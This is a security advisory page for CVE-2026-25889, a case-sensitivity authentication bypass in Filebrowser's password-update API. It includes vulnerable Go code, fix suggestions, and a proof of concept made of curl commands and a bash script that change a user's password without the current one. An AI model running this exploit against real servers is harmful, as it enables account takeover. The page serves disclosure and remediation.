CVE-2026-25889: Github.com/filebrowser/filebrowser/v2 Authentication Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-hxw8-4h9j-hq2r
CVSS 5.4
CWE-178
Published
Advisory Summary

CVE-2026-25889 is a MODERATE (CVSS 5.4) authentication bypass vulnerability (CWE-178: Improper Handling of Case Sensitivity) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser has an authentication bypass in user password update. Remediation is available by upgrading affected packages to version 2.57.1.

CVE-2026-25889 at a Glance

CVE Identifier CVE-2026-25889
GHSA Identifier GHSA-hxw8-4h9j-hq2r
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-178: Improper Handling of Case Sensitivity
Affected Product Github.com/filebrowser/filebrowser/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-25889

To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.57.1
Upgrade github.com/filebrowser/filebrowser/v2 to 2.57.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25889, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.57.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-178: Improper Handling of Case Sensitivity, where the product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Security Advisory: Authentication Bypass in User Password Update ## Summary A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) **without providing the current password**. By using Title Case field name `"Password"` instead of lowercase `"password"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means. **CVSS Score**: 7.5 (High) **CWE**: CWE-178 (Improper Handling of Case Sensitivity) --- ## Details The vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200). ### Vulnerable Code ```go // http/users.go:181-200 if d.settings.AuthMethod == auth.MethodJSONAuth { var sensibleFields = map[string]struct{}{ "all": {}, "username": {}, "password": {}, // lowercase "scope": {}, "lockPassword": {}, "commands": {}, "perm": {}, } for _, field := range req.Which { if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } } ``` ### Root Cause 1. The `sensibleFields` map uses **lowercase** keys (e.g., `"password"`) 2. The lookup `sensibleFields[field]` is **case-sensitive** 3. When `req.Which` contains `"Password"` (Title Case), the lookup returns `false` 4. The password verification block is skipped entirely 5. Later in the code (line 229), field names are converted to Title Case for processing, so `"Password"` is a valid field name ### Attack Flow ``` 1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.) 2. Attacker sends PUT /api/users/{id} with: - which: ["Password"] (Title Case - bypasses validation) - data.password: "attacker_password" - NO current_password field required 3. Password is changed without verification 4. Victim is locked out, attacker has full access ``` --- ## PoC ### Prerequisites - A valid JWT token for any user account - Target Filebrowser instance using JSON authentication (default) ### Reproduction Steps **Step 1: Obtain a valid JWT token** ```bash TOKEN=$(curl -s -X POST "http://target:8080/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"victim","password":"victim_password"}') ``` **Step 2: Attempt normal password change (should fail)** ```bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["password"], "data": {"id": 1, "password": "NewPassword123456"} }' # Response: 400 Bad Request (the current password is incorrect) ``` **Step 3: Bypass with Title Case (succeeds without current_password)** ```bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["Password"], "data": {"id": 1, "password": "HackedPassword123"} }' # Response: 200 OK ``` **Step 4: Verify account takeover** ```bash # Original password no longer works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"victim_password"}' # Response: 403 Forbidden # New password works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"HackedPassword123"}' # Response: Valid JWT token ``` ### Automated PoC Script ```bash #!/bin/bash # Usage: ./poc.sh <target> <username> <current_password> <new_password> TARGET="$1" USERNAME="$2" CURRENT_PASS="$3" NEW_PASS="$4" # Login TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}") # Get user ID from token USER_ID=$(echo "$TOKEN" | python3 -c " import sys,json,base64 parts=input().split('.') payload=json.loads(base64.b64decode(parts[1]+'==')) print(payload['user']['id']) ") # Exploit: Change password without current_password curl -s -X PUT "$TARGET/api/users/$USER_ID" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"what\": \"user\", \"which\": [\"Password\"], \"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"} }" echo "Password changed to: $NEW_PASS" ``` --- ## Impact ### Who is Impacted - **All Filebrowser users** using JSON authentication method (default configuration) - Any user whose JWT token can be obtained by an attacker - Particularly high-value targets: administrator accounts ### Attack Scenarios | Scenario | Impact | |----------|--------| | XSS + Token Theft | Complete account takeover | | JWT in Server Logs | Mass account compromise | | Shared Computer | Session hijacking | | Malicious Browser Extension | Credential theft | ### Security Impact | Category | Severity | |----------|----------| | Confidentiality | **High** - Attacker gains full account access | | Integrity | **High** - Attacker can modify all user data | | Availability | **High** - Legitimate user locked out | ### Scope - The vulnerability affects **password modification only** - Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check - However, for **administrators**, all fields can be modified using this bypass technique --- ## Suggested Fix ### Option 1: Case-insensitive field matching (Recommended) ```go // Convert field to lowercase before checking for _, field := range req.Which { if _, ok := sensibleFields[strings.ToLower(field)]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } ``` ### Option 2: Use Title Case in sensibleFields ```go var sensibleFields = map[string]struct{}{ "All": {}, "Username": {}, "Password": {}, // Title Case to match post-transformation "Scope": {}, "LockPassword": {}, "Commands": {}, "Perm": {}, } // Check AFTER field name transformation for k, v := range req.Which { v = cases.Title(language.English, cases.NoLower).String(v) req.Which[k] = v // Now check with Title Case if _, ok := sensibleFields[v]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } ``` --- ## References - Affected File: `http/users.go` - Affected Lines: 181-200 - Related Code: `NonModifiableFieldsForNonAdmin` (line 17)

CVE-2026-25889 Affected Github.com/filebrowser/filebrowser/v2 Versions

1 component(s)
Fixed Versions:
2.57.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.57.1
2.57.1

References

Frequently Asked Questions

What is CVE-2026-25889?
CVE-2026-25889 is a security vulnerability in Github.com/filebrowser/filebrowser/v2 involving File Browser has an Authentication Bypass in User Password Update under CWE-178: Improper Handling of Case Sensitivity.
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
Affected versions include releases prior to 2.57.1 across affected packages: github.com/filebrowser/filebrowser/v2.
What version fixes CVE-2026-25889?
Upgrading to 2.57.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.57.1. Upgrade your dependency to 2.57.1 or later.
What is the CVSS score of CVE-2026-25889?
CVE-2026-25889 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-25889?
CVE-2026-25889 is classified under CWE-178: Improper Handling of Case Sensitivity (The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.).
How can I check Go dependencies for CVE-2026-25889?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hxw8-4h9j-hq2r",
  "modified" : "2026-02-10T02:56:29Z",
  "published" : "2026-02-10T00:22:33Z",
  "aliases" : [ "CVE-2026-25889" ],
  "summary" : "File Browser has an Authentication Bypass in User Password Update",
  "details" : "# Security Advisory: Authentication Bypass in User Password Update\n\n## Summary\n\nA case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) **without providing the current password**. By using Title Case field name `\"Password\"` instead of lowercase `\"password\"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.\n\n**CVSS Score**: 7.5 (High)  \n**CWE**: CWE-178 (Improper Handling of Case Sensitivity)\n\n---\n\n## Details\n\nThe vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).\n\n### Vulnerable Code\n\n```go\n// http/users.go:181-200\nif d.settings.AuthMethod == auth.MethodJSONAuth {\n    var sensibleFields = map[string]struct{}{\n        \"all\":          {},\n        \"username\":     {},\n        \"password\":     {},  // lowercase\n        \"scope\":        {},\n        \"lockPassword\": {},\n        \"commands\":     {},\n        \"perm\":         {},\n    }\n\n    for _, field := range req.Which {\n        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup\n            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n            }\n            break\n        }\n    }\n}\n```\n\n### Root Cause\n\n1. The `sensibleFields` map uses **lowercase** keys (e.g., `\"password\"`)\n2. The lookup `sensibleFields[field]` is **case-sensitive**\n3. When `req.Which` contains `\"Password\"` (Title Case), the lookup returns `false`\n4. The password verification block is skipped entirely\n5. Later in the code (line 229), field names are converted to Title Case for processing, so `\"Password\"` is a valid field name\n\n### Attack Flow\n\n```\n1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)\n2. Attacker sends PUT /api/users/{id} with:\n   - which: [\"Password\"]  (Title Case - bypasses validation)\n   - data.password: \"attacker_password\"\n   - NO current_password field required\n3. Password is changed without verification\n4. Victim is locked out, attacker has full access\n```\n\n---\n\n## PoC\n\n### Prerequisites\n- A valid JWT token for any user account\n- Target Filebrowser instance using JSON authentication (default)\n\n### Reproduction Steps\n\n**Step 1: Obtain a valid JWT token**\n```bash\nTOKEN=$(curl -s -X POST \"http://target:8080/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"victim\",\"password\":\"victim_password\"}')\n```\n\n**Step 2: Attempt normal password change (should fail)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"what\": \"user\",\n    \"which\": [\"password\"],\n    \"data\": {\"id\": 1, \"password\": \"NewPassword123456\"}\n  }'\n# Response: 400 Bad Request (the current password is incorrect)\n```\n\n**Step 3: Bypass with Title Case (succeeds without current_password)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"what\": \"user\",\n    \"which\": [\"Password\"],\n    \"data\": {\"id\": 1, \"password\": \"HackedPassword123\"}\n  }'\n# Response: 200 OK\n```\n\n**Step 4: Verify account takeover**\n```bash\n# Original password no longer works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n  -d '{\"username\":\"victim\",\"password\":\"victim_password\"}'\n# Response: 403 Forbidden\n\n# New password works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n  -d '{\"username\":\"victim\",\"password\":\"HackedPassword123\"}'\n# Response: Valid JWT token\n```\n\n### Automated PoC Script\n\n```bash\n#!/bin/bash\n# Usage: ./poc.sh <target> <username> <current_password> <new_password>\n\nTARGET=\"$1\"\nUSERNAME=\"$2\"\nCURRENT_PASS=\"$3\"\nNEW_PASS=\"$4\"\n\n# Login\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"username\\\":\\\"$USERNAME\\\",\\\"password\\\":\\\"$CURRENT_PASS\\\"}\")\n\n# Get user ID from token\nUSER_ID=$(echo \"$TOKEN\" | python3 -c \"\nimport sys,json,base64\nparts=input().split('.')\npayload=json.loads(base64.b64decode(parts[1]+'=='))\nprint(payload['user']['id'])\n\")\n\n# Exploit: Change password without current_password\ncurl -s -X PUT \"$TARGET/api/users/$USER_ID\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"what\\\": \\\"user\\\",\n    \\\"which\\\": [\\\"Password\\\"],\n    \\\"data\\\": {\\\"id\\\": $USER_ID, \\\"password\\\": \\\"$NEW_PASS\\\"}\n  }\"\n\necho \"Password changed to: $NEW_PASS\"\n```\n\n---\n\n## Impact\n\n### Who is Impacted\n\n- **All Filebrowser users** using JSON authentication method (default configuration)\n- Any user whose JWT token can be obtained by an attacker\n- Particularly high-value targets: administrator accounts\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| XSS + Token Theft | Complete account takeover |\n| JWT in Server Logs | Mass account compromise |\n| Shared Computer | Session hijacking |\n| Malicious Browser Extension | Credential theft |\n\n### Security Impact\n\n| Category | Severity |\n|----------|----------|\n| Confidentiality | **High** - Attacker gains full account access |\n| Integrity | **High** - Attacker can modify all user data |\n| Availability | **High** - Legitimate user locked out |\n\n### Scope\n\n- The vulnerability affects **password modification only**\n- Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check\n- However, for **administrators**, all fields can be modified using this bypass technique\n\n---\n\n## Suggested Fix\n\n### Option 1: Case-insensitive field matching (Recommended)\n\n```go\n// Convert field to lowercase before checking\nfor _, field := range req.Which {\n    if _, ok := sensibleFields[strings.ToLower(field)]; ok {\n        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n        }\n        break\n    }\n}\n```\n\n### Option 2: Use Title Case in sensibleFields\n\n```go\nvar sensibleFields = map[string]struct{}{\n    \"All\":          {},\n    \"Username\":     {},\n    \"Password\":     {},  // Title Case to match post-transformation\n    \"Scope\":        {},\n    \"LockPassword\": {},\n    \"Commands\":     {},\n    \"Perm\":         {},\n}\n\n// Check AFTER field name transformation\nfor k, v := range req.Which {\n    v = cases.Title(language.English, cases.NoLower).String(v)\n    req.Which[k] = v\n    \n    // Now check with Title Case\n    if _, ok := sensibleFields[v]; ok {\n        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n        }\n        break\n    }\n}\n```\n\n---\n\n## References\n\n- Affected File: `http/users.go`\n- Affected Lines: 181-200\n- Related Code: `NonModifiableFieldsForNonAdmin` (line 17)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.57.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.57.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25889"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-10T00:22:33Z",
    "nvd_published_at" : "2026-02-09T22:16:03Z"
  }
}